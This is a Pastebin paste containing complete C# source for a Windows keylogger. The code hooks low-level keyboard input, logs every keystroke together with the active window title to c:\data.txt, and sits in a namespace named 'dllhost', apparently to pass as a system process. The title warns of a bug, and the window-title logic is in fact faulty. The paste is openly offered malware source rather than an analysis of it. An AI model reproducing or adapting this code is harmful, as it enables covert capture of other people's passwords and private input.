Advertisement
ivandrofly

Keylogger [WARNING SOME BUG]

May 11th, 2014
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.43 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Runtime.InteropServices;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10.  
  11. namespace dllhost
  12. {
  13.     class Program
  14.     {
  15.         private static string path ="c:\\data.txt";
  16.         private static string active = null;
  17.  
  18.         [DllImport("user32.dll")]
  19.         static extern IntPtr GetForegroundWindow();
  20.  
  21.         [DllImport("user32.dll")]
  22.         static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
  23.  
  24.         private static string getTitle()
  25.         {
  26.             IntPtr handle = GetForegroundWindow();
  27.             StringBuilder sb = new StringBuilder(1000);
  28.             GetWindowText(handle, sb, 1000);
  29.             string winText = sb.ToString();
  30.             return winText;
  31.         }
  32.  
  33.         private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  34.  
  35.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  36.         private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  37.  
  38.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  39.         [return: MarshalAs(UnmanagedType.Bool)]
  40.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  41.  
  42.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  43.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  44.  
  45.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  46.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  47.  
  48.         private const int WH_KEYBOARD_LL = 13;
  49.         private const int WM_KEYDOWN = 0x0100;
  50.         private static KeyboardProc _proc = HookCallback;
  51.         private static IntPtr _hookID = IntPtr.Zero;
  52.  
  53.  
  54.         static void Main(string[] args)
  55.         {
  56.             Hook();
  57.             Application.Run();
  58.             UnHook();
  59.         }
  60.  
  61.         public static void Hook()
  62.         {
  63.             using (Process curProcess = Process.GetCurrentProcess())
  64.             using (ProcessModule curModule = curProcess.MainModule)
  65.             {
  66.                 _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);
  67.             }
  68.         }
  69.  
  70.         public static void UnHook()
  71.         {
  72.             UnhookWindowsHookEx(_hookID);
  73.         }
  74.  
  75.         private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  76.         {
  77.                     int KeyCode = Marshal.ReadInt32(lParam);
  78.                     StreamWriter sw;
  79.                     sw = new StreamWriter(path, true);
  80.                     sw.AutoFlush = true;
  81.  
  82.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  83.             {
  84.                 if (!string.IsNullOrEmpty(active) &&  active != getTitle())
  85.                 {
  86.  
  87.                     active = getTitle();
  88.                     sw.WriteLine();
  89.                     sw.WriteLine();
  90.                     sw.WriteLine(active); // Write active window title to txt file
  91.  
  92.                 }
  93.                 sw.WriteLine((Keys)KeyCode); // Write key pressed to txt file
  94.              }
  95.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  96.  
  97.             }
  98.         }
  99. }
  100. // Source: http://stackoverflow.com/questions/23593125/keylogger-not-write-correctly-in-txt-file
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement